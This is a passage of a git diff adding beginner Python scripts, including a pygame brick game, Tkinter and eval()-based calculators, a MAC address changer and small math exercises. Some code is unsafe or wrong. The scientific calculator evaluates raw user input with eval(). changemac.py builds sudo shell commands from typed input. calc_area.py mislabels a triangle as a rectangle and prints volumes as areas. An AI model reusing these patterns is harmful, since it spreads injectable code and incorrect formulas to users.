return True + return False + + +# The game objects ball, paddle and brick wall +ball = Ball(screen, 25, random.randint(1, 700), 250) +paddle = Paddle(screen, 100, 20, 250, 450) +brickWall = BrickWall(screen, 25, 25, 150, 50) + +isGameOver = False # determines whether game is lose +gameStatus = True # game is still running + +score = 0 # score for the game. + +pygame.display.set_caption("Brickout-game") + +# Loop until the user clicks the close button. +done = False + +# Used to manage how fast the screen updates +clock = pygame.time.Clock() + +# for displaying text in the game +pygame.font.init() # you have to call this at the start, +# if you want to use this module. + +# message for game over +mgGameOver = pygame.font.SysFont("Comic Sans MS", 40) + +# message for winning the game. +mgWin = pygame.font.SysFont("Comic Sans MS", 40) + +# message for score +mgScore = pygame.font.SysFont("Comic Sans MS", 40) + +textsurfaceGameOver = mgGameOver.render("Game Over!", False, (0, 0, 0)) +textsurfaceWin = mgWin.render("You win!", False, (0, 0, 0)) +textsurfaceScore = mgScore.render("score: " + str(score), False, (0, 0, 0)) + +# -------- Main Program Loop ----------- +while not done: + # --- Main event loop + for event in pygame.event.get(): + if event.type == pygame.QUIT: + done = True + + # --- Game logic should go here + + # --- Screen-clearing code goes here + + # Here, we clear the screen to white. Don't put other drawing commands + # above this, or they will be erased with this command. + + # If you want a background image, replace this clear with blit'ing the + # background image. + screen.fill(WHITE) + + # --- Drawing code should go here + + """ + Because I use OOP in the game logic and the drawing code, + are both in the same section. + """ + if gameStatus: + # first draws ball for appropriate displaying the score. + brickWall.draw() + + # for counting and displaying the score + if brickWall.collide(ball): + score += 10 + textsurfaceScore = mgScore.render("score: " + str(score), False, (0, 0, 0)) + screen.blit(textsurfaceScore, (300, 0)) + + # after scoring. because hit bricks are removed in the update-method + brickWall.update(ball) + + paddle.draw() + paddle.update() + + if ball.update(paddle, brickWall): + isGameOver = True + gameStatus = False + + if brickWall.hasWin(): + gameStatus = False + + ball.draw() + + else: # game isn't running. + if isGameOver: # player lose + screen.blit(textsurfaceGameOver, (0, 0)) + textsurfaceScore = mgScore.render("score: " + str(score), False, (0, 0, 0)) + screen.blit(textsurfaceScore, (300, 0)) + elif brickWall.hasWin(): # player win + screen.blit(textsurfaceWin, (0, 0)) + textsurfaceScore = mgScore.render("score: " + str(score), False, (0, 0, 0)) + screen.blit(textsurfaceScore, (300, 0)) + + # --- Go ahead and update the screen with what we've drawn. + pygame.display.flip() + + # --- Limit to 60 frames per second + clock.tick(60) + +# Close the window and quit. +pygame.quit() diff --git a/brickout-game/classDiagram.png b/brickout-game/classDiagram.png new file mode 100644 index 00000000000..3cea76b9ac7 Binary files /dev/null and b/brickout-game/classDiagram.png differ diff --git a/calc_area.py b/calc_area.py new file mode 100644 index 00000000000..29fb370cd4a --- /dev/null +++ b/calc_area.py @@ -0,0 +1,45 @@ +# Author: PrajaktaSathe +# Program to calculate the area of - square, rectangle, circle, and triangle - +import math as m +def main(): + shape = int( + input( + "Enter 1 for square, 2 for rectangle, 3 for circle, 4 for triangle, 5 for cylinder, 6 for cone, or 7 for sphere: " + ) + ) + if shape == 1: + side = float(input("Enter length of side: ")) + print("Area of square = " + str(side**2)) + elif shape == 2: + l = float(input("Enter length: ")) + b = float(input("Enter breadth: ")) + print("Area of rectangle = " + str(l * b)) + elif shape == 3: + r = float(input("Enter radius: ")) + print("Area of circle = " + str(m.pi * r * r)) + elif shape == 4: + base = float(input("Enter base: ")) + h = float(input("Enter height: ")) + print("Area of rectangle = " + str(0.5 * base * h)) + elif shape == 5: + r = float(input("Enter radius: ")) + h = float(input("Enter height: ")) + print("Area of cylinder = " + str(m.pow(r, 2) * h * m.pi)) + elif shape == 6: + r = float(input("Enter radius: ")) + h = float(input("Enter height: ")) + print("Area of cone = " + str(m.pow(r, 2) * h * 1 / 3 * m.pi)) + elif shape == 7: + r = float(input("Enter radius: ")) + print("Area of sphere = " + str(m.pow(r, 3) * 4 / 3 * m.pi)) + else: + print("You have selected wrong choice.") + + restart = input("Would you like to calculate the area of another object? Y/N : ") + if restart.lower().startswith("y"): + main() + elif restart.lower().startswith("n"): + quit() + + +main() diff --git a/calci.py b/calci.py new file mode 100644 index 00000000000..21d9ace5233 --- /dev/null +++ b/calci.py @@ -0,0 +1,4 @@ +a = int(input("enter first value")) +b = int(input("enter second value")) +add = a + b +print(add) diff --git a/calci2.py b/calci2.py new file mode 100644 index 00000000000..cd142e11ad4 --- /dev/null +++ b/calci2.py @@ -0,0 +1,3 @@ +prices = [22.3, 6.66, 9.22] +total = sum(prices) +print(total) diff --git a/calculator-gui.py b/calculator-gui.py new file mode 100755 index 00000000000..fa9befa47f0 --- /dev/null +++ b/calculator-gui.py @@ -0,0 +1,411 @@ +# ==================== Libraries ==================== +import tkinter as tk +from tkinter import ttk +from tkinter import messagebox + +# =================================================== +# ==================== Classes ====================== + + +class Inside: + def __init__(self, parent): + self.parent = parent + # ----- Main Frame ----- + self.cal_frame = ttk.Frame(self.parent) + self.cal_frame.grid(row=0, column=0) + # ---------------------- + # ----- Variable For Main Output ----- + self.out_var = tk.StringVar() + # ----- Operator Chooser ----- + self.opr = tk.StringVar() + # ----- Values Holder ----- + self.value1 = tk.StringVar() + self.value2 = tk.StringVar() + # ------------------------------------ + self.output_box() # <---------- Output Box Shower + self.cal_buttons() # <---------- Buttons On Calculator + + def output_box(self): + show = ttk.Entry( + self.cal_frame, + textvariable=self.out_var, + width=25, + font=("calibri", 16), + state="readonly", + ) + show.grid(row=0, column=0, sticky=tk.W, ipady=6, ipadx=1, columnspan=4) + show.focus() + + # ========== * Button Events * ========== < --- Sequence 789456123 + def press_7(self): + current = self.out_var.get() + if current == "": + self.out_var.set(7) + else: + current += str(7) + self.out_var.set(current) + + def press_8(self): + current = self.out_var.get() + if current == "": + self.out_var.set(8) + else: + current += str(8) + self.out_var.set(current) + + def press_9(self): + current = self.out_var.get() + if current == "": + self.out_var.set(9) + else: + current += str(9) + self.out_var.set(current) + + def press_4(self): + current = self.out_var.get() + if current == "": + self.out_var.set(4) + else: + current += str(4) + self.out_var.set(current) + + def press_5(self): + current = self.out_var.get() + if current == "": + self.out_var.set(5) + else: + current += str(5) + self.out_var.set(current) + + def press_6(self): + current = self.out_var.get() + if current == "": + self.out_var.set(6) + else: + current += str(6) + self.out_var.set(current) + + def press_1(self): + current = self.out_var.get() + if current == "": + self.out_var.set(1) + else: + current += str(1) + self.out_var.set(current) + + def press_2(self): + current = self.out_var.get() + if current == "": + self.out_var.set(2) + else: + current += str(2) + self.out_var.set(current) + + def press_3(self): + current = self.out_var.get() + if current == "": + self.out_var.set(3) + else: + current += str(3) + self.out_var.set(current) + + def press_0(self): + current = self.out_var.get() + if current == "": + self.out_var.set(0) + else: + current += str(0) + self.out_var.set(current) + + # ========== Operators Button Handling Function ========== + def press_clear(self): + self.out_var.set("") + + def press_reset(self): + self.out_var.set("") + + def press_plus(self): + self.value1 = self.out_var.get() + if self.value1 == "": + messagebox.showwarning( + "Operator Before Number", "Please Enter Number Before Operator" + ) + else: + self.out_var.set("") + self.opr = "+" + + def press_min(self): + self.value1 = self.out_var.get() + if self.value1 == "": + messagebox.showwarning( + "Operator Before Number", "Please Enter Number Before Operator" + ) + else: + self.out_var.set("") + self.opr = "-" + + def press_mul(self): + self.value1 = self.out_var.get() + if self.value1 == "": + messagebox.showwarning( + "Operator Before Number", "Please Enter Number Before Operator" + ) + else: + self.out_var.set("") + self.opr = "*" + + def press_div(self): + self.value1 = self.out_var.get() + if self.value1 == "": + messagebox.showwarning( + "Operator Before Number", "Please Enter Number Before Operator" + ) + else: + self.out_var.set("") + self.opr = "/" + + # ============================================== + # ========== ***** Equal Button Function ***** ========== + def press_equal(self): + self.value2 = self.out_var.get() + if self.value2 == "": + messagebox.showerror( + "Second Number", "Please Enter Second Number To Perform Calculation" + ) + else: + try: + if self.opr == "+": + self.value1 = int(self.value1) + self.value2 = int(self.value2) + result = self.value1 + self.value2 + self.out_var.set(result) + if self.opr == "-": + self.value1 = int(self.value1) + self.value2 = int(self.value2) + result = self.value1 - self.value2 + self.out_var.set(result) + if self.opr == "*": + self.value1 = int(self.value1) + self.value2 = int(self.value2) + result = self.value1 * self.value2 + self.out_var.set(result) + if self.opr == "/": + self.value1 = int(self.value1) + self.value2 = int(self.value2) + result = self.value1 / self.value2 + self.out_var.set(result) + + except ValueError: + messagebox.showinfo( + "Restart", "Please Close And Restart Application...Sorry" + ) + + def cal_buttons(self): + # ===== Row 1 ===== + btn_c = tk.Button( + self.cal_frame, + text="Clear", + width=6, + height=2, + bd=2, + bg="#58a8e0", + command=self.press_clear, + ) + btn_c.grid(row=1, column=0, sticky=tk.W, pady=5) + btn_div = tk.Button( + self.cal_frame, + text="/", + width=6, + height=2, + bd=2, + bg="#58a8e0", + command=self.press_div, + ) + btn_div.grid(row=1, column=1, sticky=tk.W) + btn_mul = tk.Button( + self.cal_frame, + text="*", + width=6, + height=2, + bd=2, + bg="#58a8e0", + command=self.press_mul, + ) + btn_mul.grid(row=1, column=2, sticky=tk.E) + btn_min = tk.Button( + self.cal_frame, + text="-", + width=6, + height=2, + bd=2, + bg="#58a8e0", + command=self.press_min, + ) + btn_min.grid(row=1, column=3, sticky=tk.E) + # ===== Row 2 ===== + btn_7 = tk.Button( + self.cal_frame, + text="7", + width=6, + height=2, + bd=2, + bg="#90a9b8", + command=self.press_7, + ) + btn_7.grid(row=2, column=0, sticky=tk.W, pady=2) + btn_8 = tk.Button( + self.cal_frame, + text="8", + width=6, + height=2, + bd=2, + bg="#90a9b8", + command=self.press_8, + ) + btn_8.grid(row=2, column=1, sticky=tk.W) + btn_9 = tk.Button( + self.cal_frame, + text="9", + width=6, + height=2, + bd=2, + bg="#90a9b8", + command=self.press_9, + ) + btn_9.grid(row=2, column=2, sticky=tk.E) + btn_plus = tk.Button( + self.cal_frame, + text="+", + width=6, + height=5, + bd=2, + bg="#58a8e0", + command=self.press_plus, + ) + btn_plus.grid(row=2, column=3, sticky=tk.E, rowspan=2) + # ===== Row 3 ===== + btn_4 = tk.Button( + self.cal_frame, + text="4", + width=6, + height=2, + bd=2, + bg="#90a9b8", + command=self.press_4, + ) + btn_4.grid(row=3, column=0, sticky=tk.W, pady=2) + btn_5 = tk.Button( + self.cal_frame, + text="5", + width=6, + height=2, + bd=2, + bg="#90a9b8", + command=self.press_5, + ) + btn_5.grid(row=3, column=1, sticky=tk.W) + btn_6 = tk.Button( + self.cal_frame, + text="6", + width=6, + height=2, + bd=2, + bg="#90a9b8", + command=self.press_6, + ) + btn_6.grid(row=3, column=2, sticky=tk.E) + # ===== Row 4 ===== + btn_1 = tk.Button( + self.cal_frame, + text="1", + width=6, + height=2, + bd=2, + bg="#90a9b8", + command=self.press_1, + ) + btn_1.grid(row=4, column=0, sticky=tk.W, pady=2) + btn_2 = tk.Button( + self.cal_frame, + text="2", + width=6, + height=2, + bd=2, + bg="#90a9b8", + command=self.press_2, + ) + btn_2.grid(row=4, column=1, sticky=tk.W) + btn_3 = tk.Button( + self.cal_frame, + text="3", + width=6, + height=2, + bd=2, + bg="#90a9b8", + command=self.press_3, + ) + btn_3.grid(row=4, column=2, sticky=tk.E) + btn_equal = tk.Button( + self.cal_frame, + text="=", + width=6, + height=5, + bd=2, + bg="orange", + command=self.press_equal, + ) + btn_equal.grid(row=4, column=3, sticky=tk.E, rowspan=2) + # ===== Row 5 ===== + btn_0 = tk.Button( + self.cal_frame, + text="0", + width=14, + height=2, + bd=2, + bg="#90a9b8", + command=self.press_0, + ) + btn_0.grid(row=5, column=0, sticky=tk.W, pady=2, columnspan=2) + btn_reset = tk.Button( + self.cal_frame, + text="Reset", + width=6, + height=2, + bd=2, + bg="#90a9b8", + command=self.press_reset, + ) + btn_reset.grid(row=5, column=2, sticky=tk.E) + + +class Main(tk.Tk): + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + # ----- Title ----- + self.title("Calculator") + # ----------------- + # ----- Geometry Settings ----- + self.geometry_settings() + # ----------------------------- + + def geometry_settings(self): + _com_width = self.winfo_screenwidth() + _com_height = self.winfo_screenheight() + _my_width = 360 + _my_height = 350 + _x = int(_com_width / 2 - _my_width / 2) + _y = int(_com_height / 2 - _my_height / 2) + geo_string = ( + str(_my_width) + "x" + str(_my_height) + "+" + str(_x) + "+" + str(_y) + ) + # ----- Setting Now ----- + self.geometry(geo_string) + self.resizable(width=False, height=False) + # ----------------------- + + +# =================== Running The Application ======= +if __name__ == "__main__": + calculator = Main() + Inside(calculator) + calculator.mainloop() diff --git a/calculator.py b/calculator.py new file mode 100644 index 00000000000..ff456112afa --- /dev/null +++ b/calculator.py @@ -0,0 +1,129 @@ +""" +Written by : Shreyas Daniel - github.com/shreydan +Description : Uses Pythons eval() function + as a way to implement calculator. + +Functions available are: +-------------------------------------------- + + : addition + - : subtraction + * : multiplication + / : division + % : percentage + e : 2.718281... + pi : 3.141592... + sine : sin(rad) + cosine : cos(rad) + exponent: x^y + tangent : tan(rad) + remainder : XmodY + square root : sqrt(n) + round to nearest integer : round(n) +convert degrees to radians : rad(deg) +absolute value : aval(n) +""" + +import sys + +## Imported math library to run sin(), cos(), tan() and other such functions in the calculator + +from fileinfo import raw_input + + +def calc(term): + """ + input: term of type str + output: returns the result of the computed term. + purpose: This function is the actual calculator and the heart of the application + """ + + # This part is for reading and converting function expressions. + term = term.lower() + + # This part is for reading and converting arithmetic terms. + term = term.replace(" ", "") + term = term.replace("^", "**") + term = term.replace("=", "") + term = term.replace("?", "") + term = term.replace("%", "/100.00") + term = term.replace("rad", "radians") + term = term.replace("mod", "%") + term = term.replace("aval", "abs") + + functions = [ + "sin", + "cos", + "tan", + "pow", + "cosh", + "sinh", + "tanh", + "sqrt", + "pi", + "radians", + "e", + ] + + for func in functions: + if func in term: + withmath = "math." + func + term = term.replace(func, withmath) + + try: + # here goes the actual evaluating. + term = eval(term) + + # here goes to the error cases. + except ZeroDivisionError: + print("Can't divide by 0. Please try again.") + + except NameError: + print("Invalid input. Please try again") + + except AttributeError: + print("Please check usage method and try again.") + except TypeError: + print("please enter inputs of correct datatype ") + + return term + + +def result(term): + """ + input: term of type str + output: none + purpose: passes the argument to the function calc(...) and + prints the result onto console. + """ + print("\n" + str(calc(term))) + + +def main(): + """ + main-program + purpose: handles user input and prints + information to the console. + """ + + print( + "\nScientific Calculator\n\nFor Example: sin(rad(90)) + 50% * (sqrt(16)) + round(1.42^2)" + + "- 12mod3\n\nEnter quit to exit" + ) + + if sys.version_info.major >= 3: + while True: + k = input("\nWhat is ") + if k == "quit": + break + result(k) + + else: + while True: + k = raw_input("\nWhat is ") + if k == "quit": + break + result(k) + + +if __name__ == "__main__": + main() diff --git a/cartesian_product.py b/cartesian_product.py new file mode 100644 index 00000000000..d4e2c73f3f1 --- /dev/null +++ b/cartesian_product.py @@ -0,0 +1,23 @@ +"""Cartesian Product of Two Lists.""" + +# Import + + +# Cartesian Product of Two Lists +def cartesian_product(list1, list2): + """Cartesian Product of Two Lists.""" + for _i in list1: + for _j in list2: + print((_i, _j), end=" ") + + +# Main +if __name__ == "__main__": + list1 = input().split() + list2 = input().split() + + # Convert to ints + list1 = [int(i) for i in list1] + list2 = [int(i) for i in list2] + + cartesian_product(list1, list2) diff --git a/changemac.py b/changemac.py new file mode 100644 index 00000000000..b5e86ceae09 --- /dev/null +++ b/changemac.py @@ -0,0 +1,84 @@ +# Author- RIZWAN AHMAD + +# Simple python Script to change mac address of linux generate random or enter mac address + + +import random +from subprocess import PIPE, Popen + + +# function for returning terminal command +def cret(command): + process = Popen(args=command, stdout=PIPE, shell=True) + return process.communicate()[0] + + +# function for genrate mac address random +def randmac(): + return [ + 0x00, + 0x16, + 0x3E, + random.randint(0x00, 0x7F), + random.randint(0x00, 0xFF), + random.randint(0x00, 0xFF), + ] + + +def retrandmac(mac): + return ":".join(map(lambda x: "%02x" % x, mac)) + + +print(" +-+-+-+ +-+-+-+-+-+-+-+") +print(" |M|A|C| |c|h|a|n|g|e|r|") +print(" +-+-+-+ +-+-+-+-+-+-+-+") +# finding wireless interface name that should start with wl e.g.-wlan0,wlp3s0 +infname = cret('ifconfig -a | egrep "^[wl-wl]+" | sed "s/: .*//" | grep -v "lo"') +# INTERFACE NAME 6 character so return 6 last character +infname = infname[:6] +infname = infname.decode("utf-8") +# GETTING MAC Address from /sys/class/net/wlan0/address directory +cmdgetmac = "cat /sys/class/net/" + infname + "/address" +crrntmac = cret("cat /sys/class/net/" + infname + "/address") +crrntmac = crrntmac.decode("utf-8") +print( + "Your Current mac address = " + + crrntmac + + "\nEnter Option to change Your MAC:\n1. Enter MAC address manually \n2. Automatic Random MAC address" +) +opt = int(input()) + +if opt == 1: + print("Please Enter Your New MAC address: \nExmple: 46:d2:f4:0c:2a:50") + + newmac = input() + print("Please wait changing mac address..................") + + # first turn off wifi + cret("nmcli radio wifi off") + + changemaccmd = "sudo ip link set dev " + infname + " address " + newmac + # executing command with new mac address + cret(changemaccmd) + # turning on wifi + cret("nmcli radio wifi on") + # GETTING MAC Address from /sys/class/net/wlan0/address directory + cr = cret("cat /sys/class/net/" + infname + "/address") + cr = cr.decode("utf-8") + + print("\nNow Your Current mac address = " + cr) + + +elif opt == 2: + genmac = retrandmac(randmac()) + print("Please wait generating new mac address.....................") + cret("nmcli radio wifi off") + changemaccmd = "sudo ip link set dev " + infname + " address " + genmac + cret(changemaccmd) + cret("nmcli radio wifi on") + cr = cret("cat /sys/class/net/" + infname + "/address") + cr = cr.decode("utf-8") + print("Now Your Current mac address = " + cr) + +else: + print("You Have Selected wrong Option") diff --git a/chaos.py b/chaos.py new file mode 100644 index 00000000000..1bd1c120ee4 --- /dev/null +++ b/chaos.py @@ -0,0 +1,23 @@ +# A simple program illustrating chaotic behaviour + + +def main(): + print("This program illustrates a chaotic function") + + while True: + try: + x = float((input("Enter a number between 0 and 1: "))) + if 0 < x and x < 1: + break + else: + print("Please enter correct number") + except Exception: + print("Please enter correct number") + + for i in range(10): + x = 3.9 * x * (1 - x) + print(x) + + +if __name__ == "__main__": + main() diff --git a/check if a number positive , negative or zero b/check if a number positive , negative or zero new file mode 100644 index 00000000000..c47cda8ae78 --- /dev/null +++ b/check if a number positive , negative or zero @@ -0,0 +1,16 @@ +num = float(input("Enter a number: ")) +if num > 0: + print("Positive number") +elif num == 0: + print("Zero") +else: + print("Negative number") + num = float(input("Enter a number: ")) +if num >= 0: + if num == 0: + print("Zero") + else: + print("Positive number") +else: + print("Negative number") + diff --git a/check whether the string is Symmetrical or Palindrome.py b/check whether the string is Symmetrical or Palindrome.py new file mode 100644 index 00000000000..24614f5d9b2 --- /dev/null +++ b/check whether the string is Symmetrical or Palindrome.py @@ -0,0 +1,50 @@ +def palindrome(a): + mid = (len(a) - 1) // 2 + start = 0 + last = len(a) - 1 + flag = 0 + + while start < mid: + if a[start] == a[last]: + start += 1 + last -= 1 + + else: + flag = 1 + break + + if flag == 0: + print("The entered string is palindrome") + else: + print("The entered string is not palindrome") + + +def symmetry(a): + n = len(a) + flag = 0 + + if n % 2: + mid = n // 2 + 1 + else: + mid = n // 2 + + start1 = 0 + start2 = mid + + while start1 < mid and start2 < n: + if a[start1] == a[start2]: + start1 = start1 + 1 + start2 = start2 + 1 + else: + flag = 1 + break + + if flag == 0: + print("The entered string is symmetrical") + else: + print("The entered string is not symmetrical") + + +string = "amaama" +palindrome(string) +symmetry(string) diff --git a/check_file.py b/check_file.py index 290429d7964..65da90b2f17 100644 --- a/check_file.py +++ b/check_file.py @@ -1,36 +1,69 @@ -# Script Name : check_file.py -# Author : Craig Richards -# Created : 20 May 2013 -# Last Modified : -# Version : 1.0 - -# Modifications : - -# Description : Check a file exists and that we can read the file - -import sys # Import the Modules -import os # Import the Modules - -# Readfile Functions which open the file that is passed to the script - -def readfile(filename): - line = open(filename, 'r').read() - print line - -def main(): - if len(sys.argv) == 2: # Check the arguments passed to the script - filename = sys.argv[1] # The filename is the first argument - if not os.path.isfile(filename): # Check the File exists - print '[-] ' + filename + ' does not exist.' - exit(0) - if not os.access(filename, os.R_OK): # Check you can read the file - print '[-] ' + filename + ' access denied' - exit(0) - else: - print '[-] Usage: ' + str(sys.argv[0]) + ' ' # Print usage if not all parameters passed/Checked - exit(0) - print '[+] Reading from : ' + filename # Display Message and read the file contents - readfile(filename) - -if __name__ == '__main__': - main() +# Script Name : check_file.py + +# Author : Craig Richards +# Created : 20 May 2013 +# Last Modified : +# Version : 1.0 + +# Modifications : with statement added to ensure correct file closure + +# Description : Check a file exists and that we can read the file +from __future__ import print_function + +import os # Import the Modules +import sys # Import the Modules + + +# Prints usage if not appropriate length of arguments are provided + + +def usage(): + print("[-] Usage: python check_file.py [filename1] [filename2] ... [filenameN]") + + +# Readfile Functions which open the file that is passed to the script +def readfile(filename): + with open(filename, "r") as f: # Ensure file is correctly closed under + read_file = f.read() # all circumstances + print(read_file) + print() + print("#" * 80) + print() + + +def main(): + # Check the arguments passed to the script + if len(sys.argv) >= 2: + file_names = sys.argv[1:] + filteredfilenames_1 = list( + file_names + ) # To counter changing in the same list which you are iterating + filteredfilenames_2 = list(file_names) + # Iterate for each filename passed in command line argument + for filename in filteredfilenames_1: + if not os.path.isfile(filename): # Check the File exists + print("[-] " + filename + " does not exist.") + filteredfilenames_2.remove( + filename + ) # remove non existing files from fileNames list + continue + + # Check you can read the file + if not os.access(filename, os.R_OK): + print("[-] " + filename + " access denied") + # remove non readable fileNames + filteredfilenames_2.remove(filename) + continue + + # Read the content of each file that both exists and is readable + for filename in filteredfilenames_2: + # Display Message and read the file contents + print("[+] Reading from : " + filename) + readfile(filename) + + else: + usage() # Print usage if not all parameters passed/Checked + + +if __name__ == "__main__": + main() diff --git a/check_for_sqlite_files.py b/check_for_sqlite_files.py index c5f9a865890..556d348f8af 100644 --- a/check_for_sqlite_files.py +++ b/check_for_sqlite_files.py @@ -6,33 +6,42 @@ # Modifications : 1.0.1 - Remove unecessary line and variable on Line 21 -# Description : Scans directories to check if there are any sqlite files in there +# Description : Scans directories to check if there are any sqlite files in there + +from __future__ import print_function import os + def isSQLite3(filename): from os.path import isfile, getsize if not isfile(filename): return False - if getsize(filename) < 100: # SQLite database file header is 100 bytes + if getsize(filename) < 100: # SQLite database file header is 100 bytes return False else: - Header = open(filename, 'rb').read(100) + fd = open(filename, "rb") + header = fd.read(100) fd.close() - if Header[0:16] == 'SQLite format 3\000': + if header[0:16] == "SQLite format 3\000": return True else: return False -log=open('sqlite_audit.txt','w') -for r,d,f in os.walk(r'.'): - for files in f: - if isSQLite3(files): - print files - print "[+] '%s' **** is a SQLITE database file **** " % os.path.join(r,files) - log.write("[+] '%s' **** is a SQLITE database file **** " % files+'\n') - else: - log.write("[-] '%s' is NOT a sqlite database file" % os.path.join(r,files)+'\n') - log.write("[-] '%s' is NOT a sqlite database file" % files+'\n') + +log = open("sqlite_audit.txt", "w") +for r, d, f in os.walk(r"."): + for files in f: + if isSQLite3(files): + print(files) + print( + "[+] '%s' **** is a SQLITE database file **** " % os.path.join(r, files) + ) + log.write("[+] '%s' **** is a SQLITE database file **** " % files + "\n") + else: + log.write( + "[-] '%s' is NOT a sqlite database file" % os.path.join(r, files) + "\n" + ) + log.write("[-] '%s' is NOT a sqlite database file" % files + "\n") diff --git a/check_input.py b/check_input.py new file mode 100644 index 00000000000..e583f7b37f4 --- /dev/null +++ b/check_input.py @@ -0,0 +1,40 @@ +def get_user_input(start, end): + """ + input: two integer values + lower limit 'start' and maximum 'end' + the arguments aren't inclusive. + + output: if reading successful then returns the read integer. + + purpose: reads from command-line a integer in the given bounds. + while input invalid asks user again + """ + + loop = True # controls while-loop + + while loop: + try: + # reads and converts the input from the console. + user_input = int(input("Enter Your choice: ")) + + # checks whether input is in the given bounds. + if user_input > end or user_input < start: + # error case + print("Please try again. Not in valid bounds.") + + else: + # valid case + loop = False # aborts while-loop + + except ValueError: + # error case + print("Please try again. Only numbers") + + return user_input + + +x = get_user_input(1, 6) +print(x) +# Asks user to enter something, ie. a number option from a menu. +# While type != interger, and not in the given range, +# Program gives error message and asks for new input. diff --git a/check_internet_con.py b/check_internet_con.py index 9f1febbc7f0..d6ab0a615db 100644 --- a/check_internet_con.py +++ b/check_internet_con.py @@ -1,7 +1,30 @@ -import urllib2 +from sys import argv try: - urllib2.urlopen("http://google.com", timeout=2) - print "working connection" -except urllib2.URLError: - print "No internet connection" + # For Python 3.0 and later + from urllib.error import URLError + from urllib.request import urlopen +except ImportError: + # Fall back to Python 2's urllib2 + from urllib2 import URLError, urlopen + + +def checkInternetConnectivity(): + try: + url = argv[1] + print(url) + protocols = ["https://", "http://"] + if not any(x for x in protocols if x in url): + url = "https://" + url + print("URL:" + url) + except BaseException: + url = "https://google.com" + try: + urlopen(url, timeout=2) + print(f'Connection to "{url}" is working') + + except URLError as E: + print("Connection error:%s" % E.reason) + + +checkInternetConnectivity() diff --git a/check_prime.py b/check_prime.py new file mode 100644 index 00000000000..070ce9e2bff --- /dev/null +++ b/check_prime.py @@ -0,0 +1,40 @@ +# Author: Tan Duc Mai +# Email: tan.duc.work@gmail.com +# Description: Three different functions to check whether a given number is a prime. +# Return True if it is a prime, False otherwise. +# Those three functions, from a to c, decreases in efficiency +# (takes longer time). + +from math import sqrt + + +def is_prime_a(n): + if n < 2: + return False + sqrt_n = int(sqrt(n)) + for i in range(2, sqrt_n + 1): + if n % i == 0: + return False + return True + + +def is_prime_b(n): + if n > 1: + if n == 2: + return True + else: + for i in range(2, n): + if n % i == 0: + return False + return True + return False + + +def is_prime_c(n): + divisible = 0 + for i in range(1, n + 1): + if n % i == 0: + divisible += 1 + if divisible == 2: + return True + return False diff --git a/chicks_n_rabs.py b/chicks_n_rabs.py new file mode 100644 index 00000000000..c0114a08060 --- /dev/null +++ b/chicks_n_rabs.py @@ -0,0 +1,25 @@ +""" +Author Anurag Kumar(mailto:anuragkumarak95@gmail.com) + +Module to solve a classic ancient Chinese puzzle: +We count 35 heads and 94 legs among the chickens and rabbits in a farm. +How many rabbits and how many chickens do we have? + +""" + + +def solve(num_heads, num_legs): + ns = "No solutions!" + for i in range(num_heads + 1): + j = num_heads - i + if 2 * i + 4 * j == num_legs: + return i, j + return ns, ns + + +if __name__ == "__main__": + numheads = 35 + numlegs = 94 + + solutions = solve(numheads, numlegs) + print(solutions) diff --git a/cicd b/cicd new file mode 100644 index 00000000000..8b137891791 --- /dev/null +++ b/cicd @@ -0,0 +1 @@ + diff --git a/class.dat b/class.dat new file mode 100644 index 00000000000..98ba2109892 Binary files /dev/null and b/class.dat differ diff --git a/classicIndianCardMatch.py b/classicIndianCardMatch.py new file mode 100644 index 00000000000..6c859fb8f4d --- /dev/null +++ b/classicIndianCardMatch.py @@ -0,0 +1,124 @@ +import random +import time + +SUITS = ("C", "S", "H", "D") +RANKS = ("A", "2", "3", "4", "5", "6", "7", "8", "9", "T", "J", "Q", "K") +VALUES = { + "A": 1, + "2": 2, + "3": 3, + "4": 4, + "5": 5, + "6": 6, + "7": 7, + "8": 8, + "9": 9, + "T": 10, + "J": 10, + "Q": 10, + "K": 10, +} + + +class card: + def __init__(self, suit, rank): + if (suit in SUITS) and (rank in RANKS): + self.suit = suit + self.rank = rank + else: + self.suit = None + self.rank = None + print("Invalid card: ", suit, rank) + + def __str__(self): + return self.suit + self.rank + + def getRank(self): + return self.rank + + def getSuit(self): + return self.suit + + +class deck: + def __init__(self): + self.deck = [card(suit, rank) for suit in SUITS for rank in RANKS] + + def shuffle(self): + random.shuffle(self.deck) + + def dealCard(self): + return random.choice(self.deck) + + def __str__(self): + print(self.deck) + + +# Begin play +# create two decks, one for each player. +print("Gathering brand new two decks of cards............\n") +deck1 = deck() +deck2 = deck() +time.sleep(5) +print("..........decks ready!!!\n") +print("Combining and shuffling both the decks..") +time.sleep(10) +# Shuffle the decks +deck1.shuffle() +deck2.shuffle() +# combine both the shuffled decks +combinedDeck = deck1.deck + deck2.deck +# ReShuffle the combined deck, cut it and distribute to two players. +random.shuffle(combinedDeck) +print("....decks have been combined and shuffled...\n") +print("------------------------------------------\n") +input("Enter a key to cut the deck..\n") +player1 = combinedDeck[0:52] +player2 = combinedDeck[52:] +print( + "Deck has been split into two and Human get a half and computer gets the other...\n" +) + +# Begin play: +print("------------------------------------------\n") +print("player1 == Human\n") +print("player2 == Computer\n") +print("------------------------------------------\n") +print("player1 goes first...hit any key to place the card on the pile..\n") + +centerPile = [] +currentPlayer2Card = None + +while ( + len(player1) != 0 and len(player2) != 0 +): # this needs a fix as it goes on an infinite loop on a success. + switchPlayer = True + while switchPlayer == True: + for card in range(len(player1)): + input("Enter any key to place a card!!!\n") + currentPlayer1Card = player1[card].rank + print("Your current card's rank: {}".format(currentPlayer1Card)) + centerPile.append(player1[card]) + player1.pop(card) + switchPlayer = False + if currentPlayer2Card == currentPlayer1Card: + player1 = player1 + centerPile + print( + "The human got a match and takes all the cards from center pile.." + ) + break + while switchPlayer == False: + for card in range(len(player2)): + currentPlayer2Card = player2[card].rank + print("Computer's current card's rank: {}".format(currentPlayer2Card)) + centerPile.append(player2[card]) + player2.pop(card) + switchPlayer = True + if currentPlayer1Card == currentPlayer2Card: + player2 = player2 + centerPile + print("Computer got a match and takes all the cards from center pile..") + break + +print("GAME OVER!!!\n") + +print("Human has {} cards and computer has {}..".format(len(player1), len(player2))) diff --git a/cli_master/cli_master.py b/cli_master/cli_master.py new file mode 100644 index 00000000000..df2ecf799d1 --- /dev/null +++ b/cli_master/cli_master.py @@ -0,0 +1,164 @@ +import os +import sys +from pprint import pprint + + +sys.path.append(os.path.realpath(".")) +import inquirer + +# Take authentication input from the user +questions = [ + inquirer.List( + "authentication", # This is the key + message="Choose an option", + choices=["Login", "Sign up", "Exit"], + ), +] +answers = inquirer.prompt(questions) + + +# Just making pipelines +class Validation: + 